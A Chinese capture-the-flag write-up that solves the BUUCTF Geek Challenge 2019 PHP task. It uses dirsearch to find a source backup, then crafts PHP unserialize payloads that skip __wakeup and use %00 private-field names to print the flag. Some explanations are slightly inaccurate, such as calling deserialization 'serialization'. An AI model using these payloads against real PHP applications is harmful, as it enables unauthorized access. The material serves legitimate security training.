[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

简介: [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

姿势

提示:有一个良好的备份网站的习惯

故使用dirsearch工具扫描目录

得到的扫描结果中包含www.zip目录

通过url路径下载zip文件:

index.php中含有关键代码:

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

Get传参传入一个参数select,后端将其序列化

class.php:

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,也就是说对象创建完成以后第一个被对象自动调用的方法。


分析以上代码可知,当password为100,username为admin时即可获得flag


故以get传参为跳板构造原始POC:


?select=O:4:"Name":2:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}其中

4表示Name类的长度
2表示类中传入对象的个数,即username和password两个对象
13表示Name username和Name password的字符串长度
5与100表示传参的数据类型分别为string和int

接着开始完善POC:


进行反序列化之前则会先调用wakeup方法,当序列化字符串中对象个数的值大于真实个数时会跳过wakeup方法的执行,故POC可改为:


?select=O:4:"Name":3:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}


回显如下:

哪里还没考虑到?

如果构造的链子中含有空格,那么空格被url编码为%20后会导致链子不能被反序列化

故POC可改为


?select=O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}


同时,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化(即构造POC)时,类名和字段名前面都会加上ascii为0的字符(不可见字符)


故POC改为


?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

回显如下:


总结

以上为[网络安全/CTF] BUUCTF 极客大挑战 2019 PHP 解题详析,考察Dirsearch工具的使用及php反序列化知识点,读者可躬身实践。

我是秋说,我们下次见。

目录
相关文章
|
6月前
|
安全 网络安全 PHP
深入理解PHP的命名空间与自动加载机制网络安全与信息安全:防护之道与攻防之术
【5月更文挑战第29天】在PHP的开发实践中,命名空间和自动加载机制是两个重要的概念,它们共同构成了现代PHP代码组织的基础。本文将详细解释命名空间在PHP中的应用,探讨其解决代码冲突和提高代码复用性的能力,同时深入研究自动加载机制的原理及其在项目中的实际运用,帮助开发者构建更加高效、易于维护的PHP应用。
|
3月前
|
Linux 区块链 vr&ar
Linux:当极客灵魂遇上网络热梗,一场跨界“笑”果非凡的盛宴!🎉
在这个笑点遍地的网络时代,技术界的“老炮儿”Linux与时俱进,化身技术与娱乐的跨界“段子手”。从“万物皆可盘”到“万物皆可跑”,Linux让智能设备飞速运转;面对“内卷”,它倡导自由进化而非恶性竞争;教“打工人”成为自己的Boss;在“元宇宙”中,Linux打造了一个等待探索的“平行宇宙”。Linux不仅是技术基石,更是一位幽默风趣的伙伴。
50 6
|
3月前
|
安全 中间件 网络安全
深入浅出PHP框架之Laravel的优雅云计算与网络安全:探索云服务、网络安全和信息安全的技术领域
【8月更文挑战第29天】在编程的世界里,PHP以其灵活性和易用性广受欢迎。本文将深入探讨PHP的一个流行框架——Laravel,揭示它如何以简洁、高雅的解决方案满足复杂的开发需求。我们将一起走进Laravel的世界,探索其背后的哲学,以及它如何让代码变得更加动人和富有韵律。
|
3月前
|
安全 网络安全 PHP
云计算与网络安全:技术融合下的新挑战PHP 在现代Web开发中的角色和挑战
【8月更文挑战第23天】随着云计算技术的飞速发展,企业和个人越来越依赖云服务来处理和存储数据。然而,这种便利性也带来了前所未有的网络安全风险。本文将探讨云计算环境中的网络安全挑战,分析信息安全的关键问题,并提出相应的防护措施。我们将深入讨论如何通过策略和技术的结合来增强云安全,确保数据的安全和隐私保护。
|
6月前
|
存储 监控 安全
Pikachu PHP 反序列化通关解析
Pikachu PHP 反序列化通关解析
|
6月前
|
安全 算法 网络安全
深入理解PHP的命名空间网络安全与信息安全:防护之道
【5月更文挑战第28天】 在现代PHP开发中,命名空间是一个不可或缺的概念。它不仅解决了代码库中的类名冲突问题,还为自动加载、依赖管理以及代码组织提供了强有力的支持。通过本文,我们将详细探讨PHP命名空间的工作原理、使用方法以及在实际项目中的应用,帮助开发者更好地掌握和运用这一技术。 【5月更文挑战第28天】随着信息技术的飞速发展,网络已经深度融入人类生活的方方面面。然而,网络安全问题也随之凸显,成为亟待解决的全球性难题。本文将深入探讨网络安全中的漏洞问题、加密技术以及安全意识等方面的内容,以期为读者提供一份全面的网络安全知识分享。
|
6月前
|
存储 安全 网络安全
网络安全与信息安全:防御前线的守护者深入理解PHP中的命名空间
【5月更文挑战第27天】在数字化时代,数据成为了新的货币,而网络空间则转变为了一个充满风险和机遇并存的新领域。本文深入探讨了网络安全漏洞的概念、加密技术的进展以及提升个人和企业安全意识的重要性。通过分析当前网络威胁的特点,文章提供了一系列的策略和建议,旨在强化读者对网络和信息安全的认识,并强调构建一个安全的网络环境需要技术手段与用户教育双管齐下。
|
6月前
|
安全 PHP
PHP反序列化---字符串逃逸(增加/减少)
PHP反序列化---字符串逃逸(增加/减少)
|
6月前
|
PHP
PHP反序列化--引用
PHP反序列化--引用
|
6月前
|
PHP
PHP反序列化--pop链
PHP反序列化--pop链
下一篇
无影云桌面